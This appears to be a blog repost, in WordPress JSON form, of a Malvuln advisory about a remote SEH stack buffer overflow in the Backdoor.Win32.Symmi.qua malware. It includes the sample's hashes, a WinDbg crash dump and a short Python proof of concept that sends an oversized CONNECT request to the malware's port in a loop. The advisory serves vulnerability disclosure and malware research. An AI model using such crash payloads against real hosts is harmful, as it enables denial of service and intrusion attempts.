{"id":59445,"date":"2024-09-04T19:40:05","date_gmt":"2024-09-04T16:40:05","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/181325\/MVID-2024-0692.txt"},"modified":"2024-09-04T19:40:05","modified_gmt":"2024-09-04T16:40:05","slug":"backdoor-win32-symmi-qua-mvid-2024-0692-buffer-overflow","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/backdoor-win32-symmi-qua-mvid-2024-0692-buffer-overflow\/","title":{"rendered":"Backdoor.Win32.Symmi.qua MVID-2024-0692 Buffer Overflow"},"content":{"rendered":"<p>Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2024<br \/>Original source: https:\/\/malvuln.com\/advisory\/6e81618678ddfee69342486f6b5ee780.txt<br \/>Contact: malvuln13@gmail.com<br \/>Media: x.com\/malvuln <\/p>\n<p>Threat: Backdoor.Win32.Symmi.qua<br \/>Vulnerability: Remote Stack Buffer Overflow (SEH)<br \/>Description: The malware listens on two random high TCP ports, when connecting (ncat) one port will return a single character like &#8220;\u2663&#8221; ord(a) &#8220;9827&#8221; the other ports return no response, target the non responsive port. Third-party adversaries who can detect and reach the server can send a specially crafted payload triggering a stack buffer overflow overwriting the Structured Exception Handler (SEH).<br \/>Family: Symmi<br \/>Type: PE32<br \/>MD5: 6e81618678ddfee69342486f6b5ee780<br \/>SHA256: a073f0bf8599352b57540930c36d655ba9e5a5afeb0c2606b07372e62476d3b3<br \/>Vuln ID: MVID-2024-0692<br \/>Dropped files: ksomnbi.dll <br \/>ASLR: False<br \/>DEP: False<br \/>CFG: False<br \/>Safe SEH: False<br \/>Disclosure: 09\/03\/2024<\/p>\n<p>Memory Dump:<br \/>(1834.3f0): Stack buffer overflow &#8211; code c0000409 (first\/second chance not available)<br \/>eax=00000000 ebx=00000000 ecx=fffff74a edx=027ff640 esi=00000000 edi=00000002<br \/>eip=76fced3c esp=027ff038 ebp=027ff078 iopl=0 nv up ei pl nz na po nc<br \/>cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202<br \/>ntdll!ZwWaitForMultipleObjects+0xc:<br \/>76fced3c c21400 ret 14h<\/p>\n<p>0:007&gt; .ecxr<br \/>eax=027ff741 ebx=02517ff0 ecx=fffff74a edx=027ff640 esi=025188a7 edi=02800000<br \/>eip=10001f32 esp=027ff6ec ebp=027ff6fc iopl=0 nv up ei pl nz na pe nc<br \/>cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206<br \/>ksomnbi+0x1f32:<br \/>10001f32 aa stos byte ptr es:[edi] es:002b:02800000=00<\/p>\n<p>0:007&gt; !analyze -v<br \/>*******************************************************************************<br \/>* *<br \/>* Exception Analysis *<br \/>* *<br \/>*******************************************************************************<\/p>\n<p>*** WARNING: Unable to verify checksum for Backdoor.Win32.Symmi.qua.6e81618678ddfee69342486f6b5ee780.exe<br \/>*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Symmi.qua.6e81618678ddfee69342486f6b5ee780.exe<\/p>\n<p>FAULTING_IP: <br \/>ksomnbi+1f32<br \/>10001f32 aa stos byte ptr es:[edi]\n<p>EXCEPTION_RECORD: 027ff23c &#8212; (.exr 0x27ff23c)<br \/>ExceptionAddress: 10001f32 (ksomnbi+0x00001f32)<br \/>ExceptionCode: c0000005 (Access violation)<br \/>ExceptionFlags: 00000008<br \/>NumberParameters: 2<br \/>Parameter[0]: 00000001<br \/>Parameter[1]: 02800000<br \/>Attempt to write to address 02800000<\/p>\n<p>PROCESS_NAME: Backdoor.Win32.Symmi.qua.6e81618678ddfee69342486f6b5ee780.exe<\/p>\n<p>ERROR_CODE: (NTSTATUS) 0xc0000409 &#8211; The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.<\/p>\n<p>EXCEPTION_CODE: (NTSTATUS) 0xc0000409 &#8211; The system detected an overrun of a stack-based buffer in this application. This overrun could potentially allow a malicious user to gain control of this application.<\/p>\n<p>EXCEPTION_PARAMETER1: 00000015<\/p>\n<p>MOD_LIST: &lt;ANALYSIS\/&gt;<\/p>\n<p>NTGLOBALFLAG: 0<\/p>\n<p>APPLICATION_VERIFIER_FLAGS: 0<\/p>\n<p>CONTEXT: 027ff28c &#8212; (.cxr 0x27ff28c)<br \/>eax=027ff741 ebx=02517ff0 ecx=fffff74a edx=027ff640 esi=025188a7 edi=02800000<br \/>eip=10001f32 esp=027ff6ec ebp=027ff6fc iopl=0 nv up ei pl nz na pe nc<br \/>cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206<br \/>ksomnbi+0x1f32:<br \/>10001f32 aa stos byte ptr es:[edi] es:002b:02800000=00<br \/>Resetting default scope<\/p>\n<p>WRITE_ADDRESS: 02800000 <\/p>\n<p>FOLLOWUP_IP: <br \/>ksomnbi+1f32<br \/>10001f32 aa stos byte ptr es:[edi]\n<p>FAULTING_THREAD: 000003f0<\/p>\n<p>BUGCHECK_STR: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE<\/p>\n<p>PRIMARY_PROBLEM_CLASS: STACK_BUFFER_OVERRUN_EXPLOITABLE<\/p>\n<p>DEFAULT_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE<\/p>\n<p>LAST_CONTROL_TRANSFER: from 10002fc3 to 10001f32<\/p>\n<p>STACK_TEXT: <br \/>WARNING: Stack unwind information not available. Following frames may be wrong.<br \/>027ff6fc 10002fc3 027ff74a 02517ff0 00000001 ksomnbi+0x1f32<br \/>027fff80 41414141 41414141 41414141 41414141 ksomnbi+0x2fc3<br \/>027fff84 41414141 41414141 41414141 41414141 0x41414141<br \/>027fff88 41414141 41414141 41414141 41414141 0x41414141<br \/>027fff8c 41414141 41414141 41414141 41414141 0x41414141<br \/>027fff90 41414141 41414141 41414141 41414141 0x41414141<br \/>027fff94 41414141 41414141 41414141 41414141 0x41414141<br \/>027fff98 41414141 41414141 41414141 41414141 0x41414141<br \/>027fff9c 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffa0 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffa4 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffa8 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffac 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffb0 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffb4 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffb8 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffbc 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffc0 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffc4 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffc8 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffcc 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffd0 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffd4 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffd8 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffdc 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffe0 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffe4 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffe8 41414141 41414141 41414141 41414141 0x41414141<br \/>027fffec 41414141 41414141 41414141 41414141 0x41414141<br \/>027ffff0 41414141 41414141 41414141 00000000 0x41414141<br \/>027ffff4 41414141 41414141 00000000 00000000 0x41414141<br \/>027ffff8 41414141 00000000 00000000 00000000 0x41414141<br \/>027ffffc 00000000 00000000 00000000 00000000 0x41414141<\/p>\n<p>SYMBOL_STACK_INDEX: 0<\/p>\n<p>SYMBOL_NAME: ksomnbi+1f32<\/p>\n<p>FOLLOWUP_NAME: MachineOwner<\/p>\n<p>MODULE_NAME: ksomnbi<\/p>\n<p>IMAGE_NAME: ksomnbi.dll<\/p>\n<p>DEBUG_FLR_IMAGE_TIMESTAMP: 537a7d0a<\/p>\n<p>STACK_COMMAND: .cxr 0x27ff28c ; kb<\/p>\n<p>FAILURE_BUCKET_ID: STACK_BUFFER_OVERRUN_EXPLOITABLE_c0000409_ksomnbi.dll!Unknown<\/p>\n<p>BUCKET_ID: APPLICATION_FAULT_STACK_BUFFER_OVERRUN_MISSING_GSFRAME_EXPLOITABLE_MISSING_GSFRAME_ksomnbi+1f32<\/p>\n<p>Followup: MachineOwner<br \/>&#8212;&#8212;&#8212;<\/p>\n<p>0:007&gt; !exchain<br \/>027ff0f0: ntdll!_except_handler4+0 (76fd6a50)<br \/>CRT scope 0, func: ntdll!RtlReportExceptionHelper+251 (770157ad)<br \/>027ff710: ksomnbi+30df (100030df)<br \/>027fffcc: 41414141<br \/>Invalid exception stack at 41414141<\/p>\n<p>Exploit\/PoC:<br \/>from socket import *<\/p>\n<p>def doit():<\/p>\n<p>MALWARE_HOST=&#8221;x.x.x.x&#8221;<br \/>PORT=6917 #random port<\/p>\n<p>s=socket(AF_INET, SOCK_STREAM)<br \/>s.connect((MALWARE_HOST, PORT))<\/p>\n<p>PAYLOAD=&#8221;CONNECT \/&#8221;+&#8221;A&#8221;*2878 + &#8221; HTTP\/1.1\\r\\nContent-Type: application\/x-www-form-urlencoded\\r\\nContent-Length: 2878\\r\\nHost: &#8220;+MALWARE_HOST<br \/>s.send(PAYLOAD.encode())<br \/>s.close()<\/p>\n<p>while 1:<br \/>doit()<br \/>time.sleep(0.5)<\/p>\n<p>Disclaimer: The information contained within this advisory is supplied &#8220;as-is&#8221; with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Discovery \/ credits: Malvuln (John Page aka hyp3rlinx) (c) 2024Original source: https:\/\/malvuln.com\/advisory\/6e81618678ddfee69342486f6b5ee780.txtContact: malvuln13@gmail.comMedia: x.com\/malvuln Threat: Backdoor.Win32.Symmi.quaVulnerability: Remote Stack Buffer Overflow (SEH)Description: The malware listens on two random high TCP ports, when connecting (ncat) one port will return a single character like &#8220;\u2663&#8221; ord(a) &#8220;9827&#8221; the other ports return no response, target the non responsive port. &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59445","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59445","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59445"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59445\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59445"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59445"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59445"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}